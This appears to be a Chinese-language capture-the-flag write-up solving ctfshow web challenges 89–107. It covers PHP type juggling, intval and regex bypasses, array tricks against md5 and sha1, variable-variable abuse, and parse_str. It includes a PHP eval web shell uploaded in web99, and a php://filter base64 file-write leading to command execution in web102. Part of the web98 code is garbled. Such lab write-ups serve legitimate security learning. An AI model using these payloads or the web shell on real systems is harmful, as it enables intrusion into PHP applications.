web89
?num[]=1
web90
要num不等于4476但是经过intval之后还要等于4476
进制转换
十进制字母绕过或者16/8进制绕过
?num=0x117c
?num=4476s
web 91
传参cmd使得只有php进入第一个if,如果只有php返回hacker
所以我们用%0a换行绕过
?cmd=%0aphp
web92
这道题酷似web90
所以直接16进制绕过?num=0x117c
web93
字母被过滤了
用八进制绕过
?num=010574
web94
字母 0 都过滤了 ,那么我们用换行%0a或者%20绕过
?num=%0A010574
还有浮点数因为浮点数只保留整数
?num=4476.30
web95
?num=%0a010574
web96
这里我是用了各种通配符在那里折腾啊,结果报错警告,查了一下
$_GET[u]是弱类型比较可以在前面加路径绕过比较,但是文件还是可以正常读取
?u=./flag.php(当前目录的路径)
?u=/var/www/html/flag.php(当前网页的路径)
web97
POST传参并且啊a!=b,但是md5编码之后又要相等
这里有一个md5特性
MD5数组的话返回的是相同的值
a[]=1&&b[]=2
用hackbarPOST传参
web98
人傻了看不懂哈哈哈我三目运算不好
涉及到了一个三目运算
G E T ? _GET? GET?_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替
G E T [ ‘ f l a g ’ ] = = ‘ f l a g ’ ? _GET[‘flag’]==‘flag’? GET[‘flag’]==‘flag’?_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值
G E T [ ‘ f l a g ’ ] = = ‘ f l a g ’ ? _GET[‘flag’]==‘flag’? GET[‘flag’]==‘flag’?_GET=&$_SERVER:‘flag’; //与上同理
G E T [ ‘ H T T P F L A G ’ ] = = ‘ f l a g ’ ? _GET[‘HTTP_FLAG’]==‘flag’? GET[‘HTTPFLAG’]==‘flag’?flag:FILE //如果GET传参HTTP_FLAG的值为flag则输出$flag
先GET传参随便传一个
我传的a然后再POST传参HTTP_FLAG=flag
还可以
先GET随便传,然后POST flag=flag
再cookie HTTP_FLAG=flag
web99
for循环里面的意思是取随机数1到36之间一个数,1到37之间一个数,1到38一个数,直到1到877,然后把每次拿到的随机数追加到allow数组里面
in_array判断allow数组里面是否有n参数,没有type,所以可以通过这个点绕过
?n=1.php(使得等会的指令正常运行)
content=<?php eval($_POST[a]);?>传马
进行命令执行
a=system("tac flag36d.php");
web100
v2不能有分号v3必须有分号,而且flag在class ctfshow里面
v0那一行:赋值的优先级要高于and
v1=(随便什么数字就行) v2=echo new ReflectionClass v3=;
?v1=1&&v2=echo new ReflectionClass&&v3=;
并没有直接给我们这个flag 0x2d是 - 进行替换
81515eb80x2de8ba0x2d413e0x2da3240x2dbdfdb829b87c
81515eb8-e8ba-413e-a324-bdfdb829b87c
ctfshow{81515eb8-e8ba-413e-a324-bdfdb829b87c}
web101
不影响
?v1=1&&v2=echo new ReflectionClass&&v3=;
8d0344a40x2d80cd0x2d4d8e0x2d87620x2dc00d7955296
8d0344a4-80cd-4d8e-8762-c00d7955296
ctfshow{8d0344a4-80cd-4d8e-8762-c00d7955296}
但是交不上去,后面发现少一位,需要我们自己爆破
一位一位试试呗十六进制的从1试到f
web102
v2必须全为数字
v1 为POST传参 v2和v3是GET
substr截取函数 从下标为2的位置截取到后面(后面构造的时候补两位数字)
call_user_func回调函数:调用v1函数,参数是$s
file_put_content将v3写入
所以我们v3写1.php的时候用伪协议写入然后v2就写命令
只不过要进行转换
<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是5044383959474e6864434171594473(还要补两位)
HEX2BIN函数将十六进制数转换为二进制数。
GET:?v2=335044383959474e6864434171594473&&v3=php://filter/write=convert.base64-decode/resource=1.php
POST: v1=hex2bin
然后访问1.php,查看源码
web103
有过滤但是刚才那个payload还是可以用
GET:?v2=335044383959474e6864434171594473&&v3=php://filter/write=convert.base64-decode/resource=1.php
POST: v1=hex2bin
然后访问1.php
web104
直接传就行,没说v1!=v2
web105
这道题代码有点绕就是原理为下
GET传参和POST传参然后检查其中的键值对
键值对是什么,例子:?a=flag&b=index
那么就是a-->flag b-->index
为了绕过(不进入所有if)
然后呢有个比较迷路的部分就是$$key=$$value;
,其实是什么用都没有因为因为$a 和$flag
都没有定义所以根本不能二重赋值
还有这句
if(!($_POST['flag']==$flag)){
die($error);
}
它首先检查是否存在 $_POST['flag'],也就是POST请求中是否有键为 'flag' 的参数。
然后,它比较 $_POST['flag'] 的值与之前加载的 flag.php 文件中定义的 $flag 变量的值是否相等。
如果这两个值不相等(即 !($_POST['flag']==$flag) 为真),则执行 die($error); 语句,终止脚本执行,并输出 $error 变量的值作为错误信息。
我们不知道flag的值所以不能把键弄成flag
GET: a=flag
POST: error=a
web106
数组sha1无法识别(MD5类似),随便填这两个数只要不一样就成
GET :v2[]=1
POST :v1[]=100
web107
parse_str($v1,$v2); //把v1的值相应的换成键值对再存入v2
例如:v1=flag=114 那么v2=flag并且值为114(键为flag值为114)
v1=flag=114&index=300的话,
v2就变成一个数组,内容为flag-->114 index-->300(分为这两个键值对)
回到题目我们传v3的时候随便传一个值再进行MD5加密(32位小)
再传v1=flag相应的MD5值就可以
GET: v3=1
POST: v1=flag=c4ca4238a0b923820dcc509a6f75849b